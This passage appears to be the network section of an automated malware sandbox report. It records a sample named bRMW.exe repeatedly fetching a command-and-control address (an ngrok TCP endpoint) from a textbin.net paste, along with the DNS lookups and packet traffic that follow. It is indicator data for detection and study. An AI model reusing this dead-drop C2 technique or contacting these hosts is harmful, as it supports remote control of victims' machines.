Nov 23, 2023 01:12:42.270992994 CET	443	49854	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:42.271202087 CET	443	49854	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:42.273665905 CET	49854	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:42.273701906 CET	443	49854	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:42.273766041 CET	49854	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.390476942 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.390512943 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.390587091 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.391100883 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.391108990 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.640372038 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.640451908 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.641895056 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.641900063 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.642088890 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.644038916 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:43.644057989 CET	443	49855	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:43.644109964 CET	49855	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.220906019 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.220938921 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.221007109 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.221417904 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.221431017 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.474040985 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.474241972 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.476015091 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.476022959 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.476399899 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.479959965 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:45.479993105 CET	443	49856	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:45.480057955 CET	49856	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.594312906 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.594362974 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.594465017 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.595392942 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.595412970 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.849595070 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.849837065 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.851762056 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.851780891 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.852113008 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.856458902 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:46.856534004 CET	443	49857	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:46.856604099 CET	49857	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:47.984965086 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:47.985006094 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:47.985088110 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:47.985784054 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:47.985795975 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:48.238086939 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:48.238172054 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:48.239918947 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:48.239933968 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:48.240139961 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:48.242347956 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:48.242382050 CET	443	49858	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:48.242435932 CET	49858	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.370995998 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.371082067 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.371210098 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.371834040 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.371850014 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.626701117 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.626897097 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.628679037 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.628695011 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.628930092 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.632770061 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:49.632812023 CET	443	49859	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:49.632882118 CET	49859	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:50.750696898 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:50.750788927 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:50.750878096 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:50.751945019 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:50.751977921 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:51.002048016 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:51.002147913 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:51.004188061 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:51.004199982 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:51.004427910 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:51.007989883 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:51.008028030 CET	443	49860	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:51.008115053 CET	49860	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.125591993 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.125648975 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.125705957 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.126538038 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.126560926 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.379374981 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.379520893 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.381722927 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.381742001 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.381963968 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.385771990 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:52.385833979 CET	443	49861	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:52.385906935 CET	49861	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.500854969 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.500890970 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.501003027 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.501916885 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.501925945 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.755378962 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.755450010 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.757659912 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.757666111 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.757880926 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.759833097 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:53.759855986 CET	443	49862	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:53.759912968 CET	49862	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:54.875493050 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:54.875538111 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:54.875663042 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:54.876425982 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:54.876451015 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:55.132733107 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:55.132814884 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:55.134248972 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:55.134258986 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:55.134489059 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:55.136454105 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:55.136487961 CET	443	49863	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:55.136540890 CET	49863	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.255300045 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.255336046 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.255410910 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.255862951 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.255878925 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.512325048 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.512475967 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.514417887 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.514427900 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.514682055 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.519830942 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:56.519867897 CET	443	49864	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:56.519937038 CET	49864	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.640933990 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.640964031 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.641036987 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.641732931 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.641743898 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.894428968 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.894526958 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.896182060 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.896187067 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.896394968 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.900188923 CET	49865	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:57.900221109 CET	443	49865	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:57.900276899 CET	49865	443	192.168.2.5	148.72.177.212

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2023 01:08:52.910204887 CET	65206	53	192.168.2.5	1.1.1.1
Nov 23, 2023 01:08:53.042126894 CET	53	65206	1.1.1.1	192.168.2.5
Nov 23, 2023 01:08:53.818633080 CET	49768	53	192.168.2.5	1.1.1.1
Nov 23, 2023 01:08:53.952702999 CET	53	49768	1.1.1.1	192.168.2.5
Nov 23, 2023 01:09:56.041129112 CET	52873	53	192.168.2.5	1.1.1.1
Nov 23, 2023 01:09:56.169384956 CET	53	52873	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2023 01:08:52.910204887 CET	192.168.2.5	1.1.1.1	0x6455	Standard query (0)	pt.textbin.net	A (IP address)	IN (0x0001)	false
Nov 23, 2023 01:08:53.818633080 CET	192.168.2.5	1.1.1.1	0xd465	Standard query (0)	0.tcp.sa.ngrok.io	A (IP address)	IN (0x0001)	false
Nov 23, 2023 01:09:56.041129112 CET	192.168.2.5	1.1.1.1	0xae53	Standard query (0)	0.tcp.sa.ngrok.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2023 01:08:53.042126894 CET	1.1.1.1	192.168.2.5	0x6455	No error (0)	pt.textbin.net	textbin.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2023 01:08:53.042126894 CET	1.1.1.1	192.168.2.5	0x6455	No error (0)	textbin.net		148.72.177.212	A (IP address)	IN (0x0001)	false
Nov 23, 2023 01:08:53.952702999 CET	1.1.1.1	192.168.2.5	0xd465	No error (0)	0.tcp.sa.ngrok.io		18.229.248.167	A (IP address)	IN (0x0001)	false
Nov 23, 2023 01:09:56.169384956 CET	1.1.1.1	192.168.2.5	0xae53	No error (0)	0.tcp.sa.ngrok.io		18.229.248.167	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pt.textbin.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:08:53 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:08:53 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 38 3a 35 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:08:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:08:53 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:08:57 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:08:57 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 38 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:08:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:08:57 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:01 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:09:01 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:01 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:04 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:05 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 30 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:05 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:09 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:09:09 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 30 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:09 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:13 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:09:13 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 31 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:13 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:16 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
